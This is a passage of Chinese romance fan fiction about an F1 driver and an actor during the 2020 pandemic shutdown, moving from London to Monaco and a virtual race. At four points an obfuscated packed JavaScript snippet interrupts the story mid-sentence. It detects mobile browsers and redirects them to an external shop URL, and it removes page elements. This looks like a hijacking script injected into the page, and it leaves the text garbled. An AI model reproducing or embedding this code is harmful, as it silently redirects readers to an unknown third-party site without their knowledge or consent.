“我只是想清静两天，妈妈。”麦克斯揉了揉脸，疲惫地回答。 “找清静可以去滑雪，而不是躲在这里变成阴沉沉的怪人。”苏菲走到他面前，踢了踢他乱放的拖鞋，不满地问：“你到底在跟谁较劲？发生了什么？” 麦克斯别过头，避开母亲的目光：“没谁。我就是觉得最近挺没意思的，想歇歇。” “少来骗我，我是你妈妈，你心里装没装事我一眼就能看出来。”苏菲在他对面坐下，语气缓和了一些，“说吧，是谁。” “我只是……我只是想不通。”麦克斯垂下头，手指用力抓着膝盖，“怎么可以有人能随随便便编个理由就离开？我讨厌被人耍。” “你生气人家走得比你利索？” “我怎么会因为这个生气？”麦克斯抬高声音，焦躁地反驳，“我们就是一段随意的关系，从来没承诺过什么。” “麦克斯，别在我面前这样。”苏菲挥挥手打断他，“如果你真的觉得随意，你现在就不该在摩纳哥，而是早就去度假了。既然这个人对你来说不重要，你在这颓废给谁看？” “那个人身份很特殊吗？”苏菲试探着问，“是有夫之妇，还是……是个男人？” 麦克斯沉默半晌，沮丧地抿起嘴：“他是个男人，还是个演电影的明星。” 苏菲看着麦克斯那副受挫的样子，突然轻笑出声：“麦克斯，从你开始比赛以来，你在赛道上有过‘算了吧’的念头吗？” “当然没有！我会想尽一切办法超过所有人。”他皱起鼻子，眼神凌厉了一瞬。 “那你在等什么？”苏菲倾身，敲了敲桌面，“因为他是男人？还是因为他在镜头前演了几场戏？听着，麦克斯，如果你只是想要一段短暂的关系，你现在已经该去寻找下一个目标了。但如果你觉得疼，觉得不甘心，那就说明你想要的根本不是那种廉价的东西。” 麦克斯张了张嘴，迷茫地看着苏菲。 “你想要的是稳定的、唯一的感情，对吗？”苏菲的声音放软了，“逃避不是你的性格。就算没有好结果，哪怕最后撞得头破血流，也比躲在角落里发霉要强。去承认你喜欢他，去认真地告诉他。别像个胆小鬼一样不敢主动。” 麦克斯愣在原地。他突然意识到，他的愤怒、不甘，是因为在潜意识里已经把林利当成了家人，当成了亲密的另一半，而林利却能够随时抽身。他不想只能在夜里相会，不想只能短暂地见面，他想牵起林利的手。 “我要去伦敦。”麦克斯猛地站起身，他要去找林利。苏菲欣慰地笑起来：“去吧，麦克斯。这才是你。” …… 伦敦，圣诞节前夕。冷雨裹着寒风落在街道上，路灯在潮湿的地面上晕开一团团模糊的橘影。 林利刚从摄影棚回来，手里拎着一袋已经冷掉的快餐。他低头翻找着公寓钥匙，刚走到门口，就察觉到阴影里黑黢黢站着一个人。他后颈一凉，迟疑地走过去。 “啪”。塑料袋掉在地上，林利的心脏漏跳了一拍。 是麦克斯。 他穿着一件咖色的羊毛大衣，肩膀上几圈雨水打湿的痕迹。他没带行李，也不开灯，就这样直挺挺地立在旁边。 林利本能地想要退后：“你怎么在这？” “我来找你要个解释。”麦克斯缓步走过来，距离近到林利能闻到他身上的风霜。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159557|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释？是因为没回你消息的事吗？”林利睁大眼睛，声音微微发颤，拼命装傻着。 麦克斯没有立刻说话。他盯着林利那双漂亮却写满逃避的眼睛，往前逼了一步：“你在洛杉矶演得很好，林。”他的声音在安静的过道里格外清晰，“脱外套、挽手、在镜头前笑得像个热恋里的傻子，你觉得我会信吗？” 林利下意识抓紧了手心，指甲抠进肉里。他张了张嘴，还没吐出一个字，就被麦克斯强硬地打断。 “这里没有镜头，只有你和我。”麦克斯伸出手，重重地拍向门板，将林利半圈在怀里，“别告诉我，你在这间公寓、在奥地利的热情都是假的？你对我的回应也是假的？”他哼了一声，“如果是这样，奥斯卡没发现你真是可惜。” “别说了，麦克斯。”林利不想再让麦克斯继续，自己的防线一败涂地。他仰起头看向天花板，眼角由于激动泛出泪光，“我们……我们不可以。我不可以。” “为什么不可以？”麦克斯俯下身，轻轻擦了擦林利的眼角，“你在害怕什么？告诉我。” 林利看着麦克斯凑近的五官，看向他坚定的神情，挣扎着开口：“你让我怎么说出来，我是演员，你是F1车手……” “我的事业才刚刚起步，斯科特才给我递了几个不错的剧本。看看本·卫肖，还有马特·波莫、卢克·伊万斯……他们还有大制作可以拍吗？一直只能演该死的同一种角色。我不想这样！” 林利的声音带了哭腔：“还有你，F1这个行业可以公开？全是一群异性恋白人！你还要问我为什么？为什么！”他鼻尖通红，脸上全是泪。 “听着，林利。我今天来这里，你认为我没有想清楚吗？”麦克斯嘴唇轻颤，“如果你害怕外界，那我就走在你前面，我来当那个挡闪光灯的人。” “如果你真的不想，我们也可以继续保守这个秘密。但这不是你逃避的理由。”麦克斯用另一只手拨正林利的脸，“看着我，林。” 林利愣住了。他看着麦克斯睫毛上还没干透的雨水，慌忙地回忆，还有什么？还有什么借口？还有什么能让他停下。 “可是如果你输了……”林利的声音变小了，近乎喃喃自语，“或者哪天你觉得这种关系太累了，想要退出……” “我的生活里没有中途退出这种说法。”麦克斯死死盯着他，冰蓝色的瞳孔里燃烧着火，“除非你现在推开我，直接走进去，告诉我你从来没对我动过心。” 林利看着麦克斯一张一合的嘴，耳边一阵嗡鸣，他的思绪前所未有的混乱。麦克斯，面前这个执着不肯放弃的男人，曾经是他生活里唯一鲜活、滚烫、不讲逻辑的变量。 他灼热的呼吸正喷在自己脸上，隔着大腿传来的温度烫得惊人…… “你真是个大麻烦，麦克斯。”林利自暴自弃地抬起头，手指用力扣住麦克斯的大衣领口。他突然涌上一股无法遏制的冲动，所有的公关策略和职业规划都在这一刻走向失控。 就让他沉沦吧。在命运的清算降临之前，在所有的身份、立场和理智将他们撕碎之前，就让他和面前这个人一起，暂时当一对卑劣的小偷。 他踮起脚，狠狠撞向了那双带着痣的、滚烫的嘴唇。 12. 离场许可 2020年3月，昆士兰。《猫王》片场。 聚光灯在电机的运作下发出细微嗡鸣，热浪将空气烤得有些扭曲。林利挺直脊背，努力撑起宽大的复古西装。羊毛面料紧紧 裹着他的肩膀，汗水顺着脖颈滑进领口，黏糊糊地发痒。 这一场拍的是“1968年回归特辑”。林利盯着眼前老旧的麦克风，脑子里反复揣摩着台词，试图抓住那个时代里史蒂芬·宾德对艺术近乎偏执的追求。 “大家听着，先停一下。” 导演摘下耳机，动作显得有些僵硬，他站在监视器后，左右环视了一圈茫然停下脚步的工作人员。 “刚接到制片方的紧急通知。由于严重的不可抗力因素……剧组暂时无限期停工。”导演抹了一把脸，疲惫地挥了挥手，“大家不要紧张，慢慢整理好手头工作，先回家吧。如果有最新消息，剧组会第一时间通知。” 细碎的骚动迅速蔓延。副导演推开人群，行色匆匆地来到林利身边，小声说道：“汤姆·汉克斯那边出状况了，事情比我们想象得要严重。林利，别卸妆了，快回酒店吧，最好别在外面乱逛。” 林利站在光圈边缘，看着原本围绕着他转动的机器一件件被盖上黑色布套推走。就在十分钟前，他还在钻研如何尽可能精湛地在镜头前展现角色张力，而现在，所有人都神色紧张，脚步飞快，透着一股荒诞。 他点开手机，麦克斯半小时前发来几条消息，隔着屏幕都能感到那股焦灼。 【Emily：刚落地墨尔本，围场里这会忙得不正常。】 【Emily：林，片场那边还好吗？】 “片场停了，我去找你。”林利缓慢敲下一行字。他不知道现在到底是什么情况，只是迫切地觉得自己应该和麦克斯待在一起。 …… 墨尔本机场依旧人头攒动，开年第一场大奖赛的氛围还在，到处是穿着车队衣服的粉丝。林利穿过人群，混在排队的人流里，悄悄松了口气，这里看起来还很正常。 他打车来到麦克斯住的酒店。 房间里没开大灯。麦克斯正背对着门站在落地窗前，头发乱糟糟的。他正举着手机，语速极快地用荷兰语说着什么，焦躁的尾音回荡在房间内。 林利关上门，行李箱轮子在地板上压出一声轻响。 麦克斯猛地转过头。看清林利的一瞬间，他仓促地对电话那头交代了一句便大步跨了过来，张开胳膊使劲抱住林利，几乎要将他揉碎。 “你怎么才来。”麦克斯的下巴抵在林利肩头，呼吸急促，“我不知道发生什么了，以为你也过不来了。” “没买到合适的机票。”林利闭上眼，一路奔波的疲惫翻了上来，他腿有些发软，“片场乱糟糟的，导演让我们赶紧回家，我想先和你会合。” 麦克斯松开手，低头盯着林利的脸仔细看了一会，手指在他泛青的眼底蹭了蹭：“别去围场了，那边现在也什么都不确定，没人给个准话。”他伸手接过林利的行李箱，重重叹了口气“先待在这，哪都别去，我看看情况，我们要提早做打算。” …… 周五清晨。 林利被一阵急促的电话声惊醒。他睁开眼，麦克斯背对着坐在床边打着电话，脊背线条紧绷。天还没亮，街边的灯火显得有些冷清。 “维特尔和莱科宁已经去机场了？”麦克斯对着手机低声问道，眉头紧紧拧在一起，“好，我知道了。不用等官方消息了，我也要走。现在就帮我联系，要最快的一班。” 他挂掉电话转过身，对上林利询问的眼神。“比赛肯定会取消。”麦克斯言简意赅。他翻身下床，开始迅速往箱子里塞护照和随身物品，“官方还没公布，谁知道他们怎么回事。但我们要现在就走，再晚一点，情况可能会更不好。” “现在？”林利有些茫然地看向黑漆漆的窗外。 “外面已经乱套了，林。我们不能等到那帮人正式宣布。”麦克斯接起另一通电话，“是的，我是维斯塔潘……我需要离开墨尔本……嗯嗯，是的，我要尽快……对，去尼斯，乘客两个人。” 五分钟后，两人拎起箱子离开房间，一路避开人群下到负二层。车库里只有两人沉重的脚步声和轮子的摩擦声，一辆黑色轿车已经等在角落，麦克斯拽着林利钻进后座。 一切都像按了加速键。 私航候机楼里同样是一片狼藉。林利第一次见到如此紧张焦灼的恐慌。麦克斯拉着他径直挤到柜台前，把两人的护照往桌上一拍：“维斯塔潘，刚才约过的。” 地勤人员忙得头也不抬，核对了一下名单，迅速抽出两张确认单：“好了，维斯塔潘先生。飞机已经在跑道上等着了，请跟我来。” 他们一路匆忙穿过玻璃门走上停机坪。此时的停机坪前所未有的拥挤，一架架公务机排在跑道出口，发动机的轰鸣声此起彼伏，热浪在机翼上方不断升腾，空气里全是刺鼻的煤油味。 登上机舱的瞬间，舱门合拢，厚重的压力瞬间隔绝了外界所有的嘈杂响动。林利瘫坐在宽大的座椅里，才发现自己后背全是冷汗，竟然有种劫后余生的庆幸感。 麦克斯在他对面坐下，重重地吐出一口气。他解开了领口最上面的几粒扣子，转过脸看了过来，眼神里的焦躁终于平息了一点。他伸出手，再次用力握住了林利的手。 “我们先回摩纳哥。” 飞机开始了加速滑行。林利看向窗外，原本应该热火朝天的艾伯特公园正在视线里飞速缩小，最后变成地平线上一个模糊的绿点。只是一个晚上，所有都发生了变化。 …… 机舱内很静，空乘送来了两杯水，低声询问是否需要用餐，麦克斯摆了摆手。他现在显然没有任何胃口，整个人陷在座椅里，双眼盯着斜前方出神。 “我得联系一下斯科特，我们走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159558|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得太着急了。”林利轻声打破了沉默。他靠在椅背上，看着天花板上的阅读灯。离开酒店前，他甚至没来得及给经纪人发一条完整的短信。 “那时候走是最好的选择。”麦克斯动了动，半撑起身体看向他，“如果你继续留在昆士兰，或者晚点回伦敦，没人能保证一切顺利。”麦克斯握着他的手用力捏了捏，蹭过他由于紧张而微微发凉的皮肤。“至少我们还能先回到摩纳哥，等回去再做打算。” 林利在机舱的波动中昏昏沉沉地睡了一觉。 他做了一个梦。梦见自己在《猫王》的片场，聚光灯刺得他睁不开眼。导演在喊“Action”，但他张开嘴，一个字也吐不出来。台词在脑子里一个一个化成液体，紧接着又突然形成一行行乱码。他看向四处，发现片场的大门被焊死了，外面是惊慌失措的人群。 他惊醒时，麦克斯正把一条毯子拉到他胸口。 “做噩梦了？”麦克斯担忧地看着他。 “梦见片场了。”林利擦了擦脸，手心里全是汗，“麦克斯，你说……我们多久能重新返工？” “不知道。”麦克斯诚实地回答，“也许几周，也许几个月。别去想那些了，林，看看外面。” 天色已经完全暗了下去。当飞机越过地中海的海岸线时，下方的灯火比往日稀疏了许多。 尼斯机场的灯光在海面上延伸。降落时，机身微微震动，林利看着窗外的报道，心脏也跟着重重跳了几下。 “护照。”麦克斯有些严肃。他挡在林利身前，把两份文件递给穿着深蓝色制服的工作人员。 “欢迎回来。”对方把护照推回来，审视地看了看两人，“注意安全。” 从尼斯到摩纳哥的这条沿海公路，林利路过很多次。以往这里总是挤满了汽车和观光巴士，但现在整条公路只有零星几盏车灯在移动。右手边是深蓝色的、近乎黑色的地中海，左手边是层叠的山影，路灯一盏盏后退，光影在林利疲惫的脸上不断闪烁。 进入摩纳哥境内，蒙特卡洛门口空无一人，平时那些排成长龙的豪车消失了，只有偶尔巡逻的警车掠过。喷泉还在运作，街道上仿佛只剩哗啦啦的水声。 汽车无声地开进公寓车库。房门打开时，那股熟悉安全的味道扑面而来。房间里依旧维持着麦克斯离开时的样子，桌上甚至还放着一个没洗的水杯。 “总算到了。”麦克斯转身，将林利紧紧圈在怀里，松了口气。他将额头轻轻碰向林利，呼吸温热地喷在林利鼻尖，“现在，这里只有我们了。” 林利抬起手，指尖触碰到麦克斯扎手的胡茬。他感觉到麦克斯宽大的手掌覆盖在他的身上，整个人终于慢慢松弛了下来。 他向前凑近，吻住对方略微干燥的嘴唇。 时间终于慢了下来，他们的心跳声在安静的房间内交织。 麦克斯在黑暗中模糊地应了一声，加深了这个吻。 13. 33克 又是一个安静的早晨。 林利推开卧室门，阳光斜斜地切过地板。麦克斯正挂在颈部训练器上，赤着上身，灰色的拉力带深深勒住额头和下颌。他的脖颈由于对抗拉力而青筋暴起，腮帮子绷得紧紧的，眼睛也跟着使劲。 麦克斯这副狰狞的表情太有意思了，林利憋笑憋得肚子疼。他躲在走廊阴影里，干坏事一样偷拍了一小段视频，打算作为黑历史收藏。录完后，他才蹑手蹑脚地挪到窗边。 盯着窗外那片蓝得发虚的海，林利翻开手里已经起了毛边的剧本，低声重复着台词：“你是来唱歌的……还是来当活化石的？” 他试了两种重音，第一次太软，鼻音重了点，像是来安慰人的；第二次又太硬，尾音收得太死，像是来讨债的。都不对，史蒂芬·宾德这种角色，他说话得带点自命不凡的刻薄，但又能让听者清醒地做出改变。 “感觉你要对我严刑逼供了。”麦克斯突然出声，猛地撤掉阻力带，金属扣件撞出清脆的一声。他站起身，大口喘着气。许久没修理的金发湿漉漉地贴着额头，眼下因为缺氧和劳累憋出两坨热红。和林利视线对上的瞬间，他眼神里训练时的狠劲迅速垮了下去，变成了一点带着赖皮的嬉笑：“饶了我吧，先生。我什么都招了。” “瞎说什么。”林利瞪了他一眼，眉头拧成一个小疙瘩，“我的语气还是不对。活化石——，活化石……麦克斯，如果你是一个大明星，听到我用这种‘你过时了’的语气说话，你会想揍我吗？” “不，我不想揍你。”麦克斯随手抓起毛巾在脸上一通乱抹，弯起那双冰蓝色的眼睛走了过来，“我想亲你。” 林利终于从死磕了半小时的台词上回过神，扫了一眼麦克斯发红的脖子，忍住笑意，拿起剧本挡住他凑过来的脸：“请认真一点，回答我，我那样说你会想揍我吗？” “如果你这么对我说话，我会觉得你挺欠的，但大概会忍不住想证明给你看，我还没老到进博物馆。”麦克斯打量着林利那副纠结的样子，露出平齐的白牙，笑得没心没肺。“不过，你要是真找不着那种损人的感觉，可以想象一下霍纳平时在采访里阴阳怪气的样子。” 林利脑补了一下红牛领队的招牌笑容，竟然觉得非常有道理。 就在这时，门口传来一声短促的抓挠声，伴随一阵指甲敲击地面的细碎声音。 林利一愣：“Spyke回来了？” “嗯，布莱德利刚刚去接的。这小不点在托管所住得都快不认识家门了，听说在那儿差点跟一只吉娃娃打起来。” 麦克斯走过去打开门，一个棕色的小短腿身影立刻像鱼雷一样冲了进来，在地板上做了个漂移。Spyke，这只十一岁高龄的腊肠犬，身体仍然很健康。它一头撞在林利的小腿上，摇动的尾巴啪嗒啪嗒地敲着地板。 “嘿，小不点。”林利蹲下身，揉了揉Spyke垂下来的大耳朵，厚实又温暖，就是有点臭臭的大米饭味。 麦克斯靠在墙边，看着林利熟练地安抚狗狗，突然“咳咳”了一声，从门口抽屉上抓起一把钥匙扔了过来。钥匙在空中划出一道弧线，上面挂着个深蓝色的磨砂吊牌，印着熟悉的红牛标志。 “拿着。”麦克斯扬了扬下巴，语气很随性，“以后进门自己开，省得我还要停下手上事情给你开门。虽然现在外面哪都去不了，但……拿着吧。” 林利掂了掂钥匙串，分量其实很轻，但揣进口袋里时又觉得沉甸甸的。 …… 随着时间一天天变长，两人的生活逐渐像两团不同颜色的黏土揉在了一起。 原本麦克斯整洁又单一的客厅，开始长出了一些不属于赛车手的痕迹。厨台上堆满了林利各种产地的咖啡豆，甚至还摆上了几只从昆士兰带回来的质感温润的陶土杯。麦克斯厚厚的、印满了赞助商的宣传册被林利拿来压住了随手记下灵感的草稿纸，甚至模拟器电脑机箱上，也偶尔会躺着一支林利随手搁下的润唇膏。麦克斯的公寓发生着充满生活毛刺的、温热的变化。 下午，麦克斯正蹲在沙发边调试自己的电脑，嘴里还咬着一根黑色扎带，显得有点滑稽：“林，为什么Spyke现在睡觉只愿意钻你的毯子，都不来找我了？”麦克斯含糊不清地念叨，“我才是养了它十几年的那个人，对吧？” “因为你抱它抱得太紧了，Spyke刚才好几次蹬腿抗议，你没看见吗？”林利躺在沙发椅上，手里拿着手机，反复听着当年宾德本人的采访录音。他头也不抬地回答，“而且，它说它更喜欢我身上的味道，这叫品味。” 麦克斯嗤笑一声，把手里的线缆理顺：“我别扯了，我们明明用的是同一种沐浴露，连牙膏都是同一个管里挤出来的。” 林利转过头看向麦克斯，他正皱着眉头和一根网线死磕。“麦克斯，你说，宾德在吼猫王的时候，心里会紧张吗？那可是当时最红的明星。” 麦克斯停下手里动作，认真地想了想，习惯性地鼓了鼓腮帮子：“如果你在做一件大事前不紧张，那说明你并不在乎这件事。我觉得宾德肯定紧张，但他不能表现出来。就像我们比赛的时候，哪怕赛车部件飞掉了，或者前面的人突然爆胎，GP在TR里的声音也一样很沉稳。” 麦克斯总能从自身职业角度出发解答林利的疑惑，简单有效。 手机在桌上嗡嗡作响，斯科特打来电话。 “林，我听说华纳那边已经有人开始尝试线上试镜了，大家都在想办法熬过去。”斯科特的声音掩不住地焦虑，“你在那边……一切还好吗？别忘了锻炼和练习，小心复工的时候你穿不进定制的衣服。” “我每天都在揣摩角色，斯科特。而且每天都有锻炼，非常严格。”林利看了一眼正对着说明书钻研的麦克斯，嗓音带上了点笑意，“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159559|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用担心，我保证结束后立刻复工，状态绝对比之前还好。” 挂掉电话，林利一抬头，发现麦克斯不知道什么时候已经掏出两颗网球，一脸嘚瑟地站在他身边。 “今天你还没锻炼呢，来吧，顺便帮我也练习一下，我们来互相接球。”麦克斯递给林利一个挑衅的眼神，眉毛挑了两下，洋洋得意。 两人折腾了一会，面对面摆好姿势。林利半蹲身体，双手握住球，盯着麦克斯做了几个鬼脸想干扰他。就在麦克斯破功笑出来的瞬间，林利突然松开左手。 “啪。”麦克斯反应快得惊人，球还没落到膝盖位置就被截获了。 “嘿，别故意逗我笑，你在作弊。”麦克斯无奈地拧了拧鼻子，还是跟着笑了出声，眼睛亮晶晶的。 最后一次，林利两手同时撒开。麦克斯为了接球猛地向前一扑，重心移得太快，整个人直接冲进林利怀里。林利扶住他的肩膀，顺势伸长胳膊搂了过去。 麦克斯还没喘过气的呼吸、剧烈跳动的心脏、运动后热烘烘的体温……林利任由自己沉浸在这一刻，连空气中浮动的灰尘都让他感到一种前所未有的充实。 麦克斯拉着他走向岛台，炫耀般地开始捣鼓一堆花花绿绿的罐子。 厨房里弥漫起一股奇怪的味道。 “麦克斯，认真的，你在制作什么化学试剂吗？”林利探过头闻了闻杯子里的乳白色液体，嫌弃地做了个呕吐的动作，“这味道简直能把Spyke熏跑。” “尝尝吧，这是健康。斯科特不是怕你长胖吗？喏，这一杯能保证所需的所有营养物质，一点多余的卡路里都没有。”麦克斯抱着肩膀靠在冰箱边，一脸“我是专家”的表情。 “我才不会喝这种东西，我宁愿喝水。”林利一把拿过杯子，在麦克斯抗议的眼神中，将里面的不明液体“哗啦”全部倒入榨汁机。他加了半瓶燕麦奶，又切了几颗蓝莓扔了进去。 “ 这才是健康。”林利倒出一杯塞进麦克斯手里，“能让口感好一点，最起码喝得进去。” 麦克斯皱了皱鼻子，犹豫了一下，还是抬手喝了一口。他吧唧了一下，嘴上挑剔：“有点发腻。”却咕噜咕噜灌了个底朝天。 他洗干净杯子，从背后环住林利的腰。Spyke在他们脚下卧成一团，发出舒服的鼾声。窗外，摩纳哥的灯火一盏盏点亮。 “叮。”手机响了一下，麦克斯掏出来看了一眼，“FIA发邮件了，让我参加这周末的虚拟大奖赛。”麦克斯撇了撇嘴，“他们就会折腾人，《F1 2019》的物理反馈一点也不真实，完全是在浪费时间。” “那你要去吗？”林利回过头看他。 “不去，没意思。我都没怎么玩过这个游戏，连怎么调试都搞不明白。”他转过头，眼神热切地指了指放着模拟器的房间，“我要参加别的比赛，玩点真东西。” 14. 虚拟围场 “咔嗒——” 模拟器传来拨片换挡的清脆声音。三块弧形银幕发出的微弱蓝色光线将麦克斯极度专注的脸照得有几分冷峻，连睫毛都被镀上了一层冷调的边。他只穿了一件简单的纯白T恤，双手却正式地戴着职业赛车手套，握在那个布满复杂旋钮的方向盘上。 《Real Racers Never Quit》揭幕战的排位赛正处于最后的冲刺阶段。 林利懒洋洋地蜷缩在几米外的灰色沙发里。他没有开顶灯，戴着降噪耳机，页面挂在麦克斯所在的Discord频道上，膝盖上摊着剧本，手里还握着一支笔。 耳机里，兰多·诺里斯的声音一刻也停不下来，咋咋呼呼的：“噢！麦克斯刚才那个一号弯的开油时间点绝对有问题！麦克斯！你在听吗？我知道你在频道里，别在那装酷！” 林利从剧本里抬起头看向麦克斯的背影。麦克斯没有回话，他正处在出弯加速的关键点，林利能看到他的身体由于巨大的反馈力而猛地绷紧，在踏板上做出急促的动作。 这是林利第一次看到剥离了赛车外壳后最原始的竞技状态。以往即使在现场，也只能瞥见几眼那顶画满涂装的头盔，或者转播画面里偶尔闪过的手部残影。 而此刻的麦克斯带给他一种陌生的压迫感。那种对胜利的近乎贪婪的执着，和平日里会为了Spyke不理他而吃醋的样子判若两人。 “排位赛结束，P1。”麦克斯终于开口了。他松开双手，任由方向盘由于巨大的惯性而左右摆动了几圈，然后长长地吐出一口气，整个人后仰在桶椅里。 “麦克斯！你真的太快了，你这个荷兰怪胎！”兰多在频道里尖叫，“你那边绝对有秘密！我刚才听到有翻页的声音！你是不是在边开车边背什么秘密攻略？” 麦克斯的手指在下巴上蹭了一下，轻笑出声：“兰多，如果你能少说点话，可能会开得快一点。” 正赛前的空隙只有几分钟。麦克斯摘掉了一侧的耳机，一边揉着发酸的手腕，一边盯着屏幕上滚动的实时数据。他的金发乱糟糟地翘着，几缕湿漉漉的发丝贴在额头，看得林利手指发痒，好想过去揉一揉。 林利注意到麦克斯下意识地舔了舔嘴唇。他没有说话，轻手轻脚地掀开身上的羊绒毯，起身走到岛台边倒了一杯水。 他绕到座舱侧面，扣着玻璃杯悄悄递到了麦克斯的右手边。 麦克斯仰起头喝了两口水。他侧过脸拨开麦克风，顺势在林利递杯子的指尖上摩挲了几下，粗粝的赛车手套带起一阵细碎的痒。麦克斯凑近林利，对着他低声道：“谢了。剧本还没看完？” 林利看着麦克斯额角亮晶晶的汗水，轻轻摇了摇头，伸手替麦克斯整理了几下乱翘的头发。 “嘿！麦克斯！”兰多的声音在耳机里突然拔高了一个调，“我听到了！你在跟谁说话？除了你还有别人吗？” 麦克斯的动作僵了一秒。他迅速把麦克风拉回唇边，语气生硬：“你在幻听，兰多。我只是在自言自语，总结你刚才表现得有多烂。” “少来！直播间里的几万人都听到了！虽然模模糊糊的，你肯定是在和别人说话！”兰多在那头几乎要跳起来了，“等等，麦克斯，布莱德利不是说他在自己家吗？难不成你真的雇了个人在帮你翻秘密攻略？” “兰多，你的关注点永远不在赛道上。”麦克斯不想理会，语气重回冷淡，“如果你再废话，我就要在发车的一号弯把你挤出去。现在，闭嘴。” 林利指了指麦克风的绿色信号，冲着麦克斯眨了下眼，笑容里带着点揶揄。他安抚地拍了拍麦克斯的肩，重新把自己陷进沙发里，调低了频道音量。 他看着麦克斯的背影再次绷直，三块屏幕的光把那个小小的座舱照得透亮。麦克斯在虚拟的赛道上疯狂撕扯，而林利在这一方小小的光亮里，重新翻开了剧本。 第一场正赛进入了最后三圈，方格旗在屏幕上闪过。 “赢了。”麦克斯表情轻松，摘下沉重的手套，活动了几下有些僵硬的手臂。 “我不玩了！麦克斯你肯定是开了外挂。”兰多在那头嘟囔着关掉直播，语音频道总算清静下来。 麦克斯关掉显示器，房间暗了下去，只剩下窗外透进来的一点点月光。他摘下耳机，带着一身还没散去的热气走到林利身边，直接在地毯上坐下，把头轻轻靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159560|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在林利的膝盖上。 “我刚才表现得还不错吧？”麦克斯闭着眼，声音懒懒地呼噜呼噜。 林利伸出手，轻轻摸过麦克斯挺拔的鼻梁，又用两根手指将他的嘴唇捏得嘟起：“表现得非常专业，除了差点让兰多在直播里把你的天花板掀开。” 麦克斯含混不清地从嗓子里挤出几个闷响，抓住林利的手亲了亲：“这个讨人厌的家伙……又吵又烦。”他把脸埋进林利的掌心里，深深吸了一口气。 “其实我刚才冲线的时候，在想一件事。”麦克斯抬起头，月光照进他冰蓝色的眼睛里，显得格外认真。 “想什么？想哪里没发挥好吗？” “不，我在想，如果我们现在是在真正的赛道上，在真正的墨尔本或者是巴林，我拿了冠军，冲过线的这一刻，我最想干什么。” 麦克斯停顿了一下，温热的手掌轻轻抚过林利的膝盖。 “以前我想的是扔掉方向盘去喝香槟。但刚才在方格旗晃过去的时候，我突然想摘掉耳机，听听你的声音。” 噢。林利的心脏像被柔软地碰了碰。他看着眼前赤诚的人，双手搂住他的下颌，“那现在你听到了。”他弓起背，就着这个别扭的姿势探身在麦克斯的唇上印下一个奖励般的吻。 麦克斯仰起头，热情地应和着这份亲昵。 “去睡觉吗？”麦克斯在林利耳边低语。他站起身，一把将人横抱起来，在狭窄的沙发边上转了半个圈。 “嘿！麦克斯！放我下来！”林利低呼一声，双手紧紧勾住麦克斯的脖子，“我要掉下去了！” “除非我摔倒了，那是不可能的。”麦克斯大步走向卧室，脚尖轻巧地避开了地上的线缆，“现在是我们的休息时间。” 林利被扔进柔软的大床，还没来得及翻身，麦克斯就手脚并用地缠了上来。 “林，明天你也试试模拟器吧？”麦克斯在半梦半醒间嘟囔着，脸颊贴着林利的颈窝，“我想让你感受一下在赛道冲刺的感觉……那才是真的刺激。” 林利感受着他在耳边的热气，意识在这阵平稳的呼吸声中渐渐模糊。 “好，明天见。”林利轻声回应。 15. 超重感 林利陷在模拟器窄小的桶椅里，上半身被坚硬的侧翼死死箍着，有些紧张地摸了摸鼻子。 “脚放松，先不要急着踩踏板。” 麦克斯半蹲在模拟器旁，自然地伸出手绕过林利腋下，拉扯后方宽阔的四点式安全带。这个动作迫使他整个人几乎贴在林利胸前，鼻尖若有若无地擦过林利颈侧，呼出的热气散在他皮肤上。 “太紧了，麦克斯。”林利下意识往后缩了缩，挤向坚硬的靠背。 “就是要紧，不然等会你会坐不稳。”麦克斯低声笑着，微微抬头，哂笑着看向林利。他撤回手，顺势在林利的侧脸上轻轻刮了一下，“别这副表情，林。相信我，很有意思的。” 麦克斯又从旁边拿出一副赛车手套，拉过林利的手帮他套上，半真半假地抱怨：“你戴着有点大，抓稳了。” 